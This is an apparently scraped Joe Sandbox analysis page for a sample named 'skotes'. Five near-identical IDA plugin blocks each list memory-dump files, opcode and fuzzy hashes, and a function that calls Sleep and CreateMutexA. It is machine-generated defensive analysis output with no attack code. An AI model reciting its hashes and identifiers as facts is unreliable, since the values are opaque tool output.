Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 9e68e68333508f34c8e053a6ab5e0df7d6f9eb83cdc1280c1faf55bf4176540c
Instruction ID: 01b09f01d5bbe2365c154bdce75ee9d53b363e8b371fa6bcde5feea023920806
Opcode Fuzzy Hash: 9e68e68333508f34c8e053a6ab5e0df7d6f9eb83cdc1280c1faf55bf4176540c
Instruction Fuzzy Hash: 74310B717042049FEB199B78DC8D7ADB7AAEF86310F244629E054E72D6C77589808752

Function 0003A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: de339a0cd25bec7470c5c0d6cd2197e1f318379e5042886bcc2b3b5a52b2b6ed
Instruction ID: f061862c709f9033069a821931a866a9c45d03988aed983165962225a15f5511
Opcode Fuzzy Hash: de339a0cd25bec7470c5c0d6cd2197e1f318379e5042886bcc2b3b5a52b2b6ed
Instruction Fuzzy Hash: DF315B717002009BEF19DB78CC8DBAEB76AEFC7310F204619E094A73D2C77699808716

Function 0003A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 1209678c3cbb5b6ddd66481d3da6976e393e340685d6184a6fd3958dc1640097
Instruction ID: d13074e533ca855b3101504a13ca3c52ad421ec7962c8a41ac60d96ea57d2c8b
Opcode Fuzzy Hash: 1209678c3cbb5b6ddd66481d3da6976e393e340685d6184a6fd3958dc1640097
Instruction Fuzzy Hash: 023139717042019FEF19DB7CDC8DBAEB76AEF87310F248619E054A72D2D77A89808712

Function 0003A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 4b8de837cb1aa6fd61416ba314607c40c4c457761e71004a595f76d07673cae8
Instruction ID: bd65b61e3e862c80cbdb5cd6ff56b2d789547e8665bcdcbd84119efb87dcec30
Opcode Fuzzy Hash: 4b8de837cb1aa6fd61416ba314607c40c4c457761e71004a595f76d07673cae8
Instruction Fuzzy Hash: 70314C717042009BEF199B7CDC8DBAEB76AEFC7310F208619E094E72D6D7B589808756

Function 0003A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784989834.0000000000239000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785005257.000000000023A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785024729.0000000000248000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785044604.000000000025A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785063771.0000000000276000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785082693.000000000027B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785099239.000000000027C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785115630.0000000000287000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785131292.0000000000296000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785144415.0000000000297000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785162705.0000000000298000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785179598.000000000029D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785245392.00000000002A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785267798.00000000002A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785294130.00000000002A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785308932.00000000002AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785323743.00000000002AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785345549.00000000002AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785364408.00000000002B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785379315.00000000002B8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785398598.00000000002D2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785412967.00000000002F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785452807.000000000030F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785467365.0000000000311000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785482259.0000000000326000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785539991.0000000000327000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785563734.0000000000328000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785580751.000000000032B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785598008.000000000032D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785617580.000000000033D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1785633372.000000000033E000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_30000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2
API String ID: 1464230837-5813163
Opcode ID: 62921bacd7eb3d3d6227592fbf49c2a8046dbe71a32d3b498d3a41acb6a67cc6
Instruction ID: fcbe86b2646ba21254931868488ddde4959c547d9400340aacb395ede94a689f
Opcode Fuzzy Hash: 62921bacd7eb3d3d6227592fbf49c2a8046dbe71a32d3b498d3a41acb6a67cc6
Instruction Fuzzy Hash: 7D315B717001008BEB09DB78DC8DBAEB76AEFC7324F248619E094EB2D2C77589818712

Function 0003A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0003A963
CreateMutexA.KERNELBASE(00000000,00000000,00093254), ref: 0003A981

Strings

T2, xrefs: 0003A970

Memory Dump Source

Source File: 00000002.00000002.1783461554.0000000000031000.00000040.00000001.01000000.00000007.sdmp, Offset: 00030000, based on PE: true

Associated: 00000002.00000002.1783415179.0000000000030000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783461554.0000000000092000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783711595.0000000000099000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783737800.000000000009B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783769189.00000000000A5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783839357.00000000000A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1783874440.00000000000A7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784517240.00000000001F4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784581905.00000000001F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000206000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784796222.0000000000214000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784870251.0000000000217000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784900116.000000000021D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784923882.0000000000225000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784940276.0000000000226000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784955134.0000000000227000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1784969925.000000000022E000.00000040.00000001.01000000.00000007.sdmpDownload File
